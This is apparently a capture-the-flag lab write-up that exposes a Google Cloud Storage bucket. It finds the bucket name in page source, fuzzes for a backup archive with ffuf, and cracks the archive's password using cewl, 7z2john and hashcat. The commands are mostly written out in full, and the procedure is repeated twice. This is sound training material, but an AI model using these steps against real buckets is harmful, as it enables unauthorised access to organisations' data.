Reveal Hidden Files in Google Storage

Analyze the challenge

The challenge involves a Google Cloud Storage bucket. The goal is to find a hidden flag within the bucket, which is formatted as an MD5 hash.

Plan of action

1. **Initial Reconnaissance:**
   - Visit the provided URL and examine the source code for clues.
   - Identify the Google Storage bucket name from the commented-out code.
2. **Bucket Enumeration:**
   - Attempt to list the bucket contents using `gcloud` and `gsutil`.
   - Use `gsutil stat` to gather information about known files.
3. **Fuzzing for Hidden Files:**
   - Install and use `ffuf` to discover potential hidden files or directories.
   - Utilize a wordlist of common backup file names.
4. **Downloading and Cracking the Backup:**
   - Download the discovered `backup.7z` file using `gsutil`.
   - Generate a custom wordlist using `cewl` based on the target website.
   - Convert the 7-Zip archive to a Hashcat-compatible format using `7z2john.pl`.
   - Crack the archive's password using Hashcat with the custom wordlist.
5. **Extracting the Flag:**
   - Extract the contents of the cracked archive using the discovered password.
   - Locate the flag within the extracted files, which is an MD5 hash.
6. **Initial Reconnaissance**

   We need to visit the website, view its source code, and extract the Google Cloud Storage bucket name.

   1. Open the URL https://careers.gigantic-retail.com/index.html in a web browser.
   2. Right-click on the page and select "View Page Source" or a similar option.
   3. Search for commented-out code that might reveal the bucket name. In this case, it is within a section with `<--!>`
   This is a standard web reconnaissance step. It's crucial to examine the source code carefully for any hidden information or clues. The bucket name is essential for the next steps.
7. **Bucket Enumeration**

We will use `gcloud` and `gsutil` to interact with the Google Cloud Storage bucket and attempt to list its contents.

1. Authenticate with Google Cloud:

```
gcloud auth login
```

2. Attempt to list the bucket contents using `gcloud`:

```
gcloud storage buckets list gs://it-storage-bucket/
```

3. Attempt to list the bucket contents using `gsutil`:

```
gsutil ls gs://it-storage-bucket/
```

4. Get information about the `index.html` file:

```
gsutil stat gs://it-storage-bucket/index.html
```

These commands are standard for interacting with Google Cloud Storage. We're expecting to encounter an access denied error when trying to list the bucket contents. The `gsutil stat` command should provide some basic information about the `index.html` file.

8. **Fuzzing for Hidden Files**

We will use `ffuf` to try and discover hidden files within the bucket, focusing on potential backup files.

1. Install `ffuf`:

```
go install github.com/ffuf/ffuf/v2@latest
```

2. Download a wordlist of common backup file names:

```
wget https://raw.githubusercontent.com/xajkep/wordlists/master/discovery/backup_files_only.txt
```

3. Run `ffuf` to fuzz for files:

```
ffuf -w backup_files_only.txt -u
https://storage.googleapis.com/it-storage-bucket/FUZZ -mc 200 -c
```

`ffuf` is a powerful tool for fuzzing, and using a targeted wordlist increases our chances of finding hidden files. The `-mc 200` flag ensures that we only see successful responses, and `-c` colorizes the output for better readability. We expect to find a file named `backup.7z`.

9. **Downloading and Cracking the Backup**

   We will download the `backup.7z` file, generate a custom wordlist, convert the archive for Hashcat, and then crack the password.

   1. Download `backup.7z`:

      ```
      gsutil cp gs://it-storage-bucket/backup.7z .
      ```

   2. Install `p7zip-full` and `p7zip-rar`:

      ```
      sudo apt install p7zip-full p7zip-rar
      ```

   3. Generate a custom wordlist using `cewl`:

      ```
      sudo apt install cewl
      cewl https://careers.gigantic-retail.com/index.html >
      wordlist.txt
      ```

   4. Install `7z2john.pl` and dependencies:

      ```
      wget https://raw.githubusercontent.com/openwall/john/bleeding-
      jumbo/run/7z2john.pl
      sudo apt install libcompress-raw-lzma-perl -y
      ```

   5. Convert the archive to a Hashcat-compatible format:

      ```
      perl 7z2john.pl backup.7z > backup.7z.hash
      ```

   6. Modify the hash file to remove "backup.7z:":

      ```
      sed -i 's/backup.7z://' backup.7z.hash
      ```

---

   7. Determine the Hashcat mode for 7-Zip archives:

      ```
      hashcat --example-hashes | grep -i -B1 7-zip
      ```

      (Note: The mode is 11600)

   8. Crack the password using Hashcat:

      ```
      hashcat -m 11600 backup.7z.hash wordlist.txt
      ```

   This is the most complex part of the solution. We need to carefully follow each step, ensuring that the correct tools are installed and used. The `cewl` wordlist generation is crucial for targeting the specific organization. The Hashcat mode needs to be correct for the cracking to be successful. We expect to find the password for the archive.

10. **Extracting the Flag**

    We will extract the contents of the cracked archive and find the MD5 hash flag.

    1. Extract the archive using the cracked password:

       ```
       7z x backup.7z
       ```

    2. When prompted, enter the password found by Hashcat.

    3. Examine the extracted files to locate the MD5 hash flag. It might be in a text file or embedded within other data.

    This is the final step. Once the archive is extracted, finding the flag should be relatively straightforward. It's an MD5 hash and likely within the extracted files.

Here goes:

1. **Initial Reconnaissance**

   - Visit the website: https://careers.gigantic-retail.com/index.html
   - View the page source.
   - Locate the commented-out code containing the Google Storage bucket name: `it-storage-bucket`

2. **Bucket Enumeration**

   - Authenticate with Google Cloud:

     ```
     gcloud auth login
     ```

   - Attempt to list bucket contents (expect access denied):

     ```
     gcloud storage buckets list gs://it-storage-bucket/
     gsutil ls gs://it-storage-bucket/
     ```

   - Get information about `index.html`:

     ```
     gsutil stat gs://it-storage-bucket/index.html
     ```

3. **Fuzzing for Hidden Files**

   - Install `ffuf`:

     ```
     go install github.com/ffuf/ffuf/v2@latest
     ```

   - Download backup file wordlist:

     ```
     wget https://raw.githubusercontent.com/xajkep/wordlists/master/discovery/backup_files_only.txt
     ```

   - Run `ffuf` to find `backup.7z`:

     ```
     ffuf -w backup_files_only.txt -u https://storage.googleapis.com/it-storage-bucket/FUZZ -mc 200 -c
     ```

4. **Downloading and Cracking the Backup**

   - Download `backup.7z`:

     ```
     gsutil cp gs://it-storage-bucket/backup.7z .
     ```

   - Install `7zip`:

     ```
     sudo apt install p7zip-full p7zip-rar
     ```

   - Generate custom wordlist with `cewl`:

```
sudo apt install cewl
cewl https://careers.gigantic-retail.com/index.html >
wordlist.txt
```

- Install `7z2john.pl`:

```
wget https://raw.githubusercontent.com/openwall/john/bleeding-
jumbo/run/7z2john.pl
sudo apt install libcompress-raw-lzma-perl -y
```

- Convert archive for Hashcat:

```
perl 7z2john.pl backup.7z > backup.7z.hash
sed -i 's/backup.7z://' backup.7z.hash
```

- Find Hashcat mode (11600):

```
hashcat --example-hashes | grep -i -B1 7-zip
```

- Crack the password:

```
hashcat -m 11600 backup.7z.hash wordlist.txt
```

5. **Extracting the Flag**

- Extract the archive:

```
7z x backup.7z
```

- Enter the cracked password when prompted.
- Locate the MD5 hash flag within the extracted files.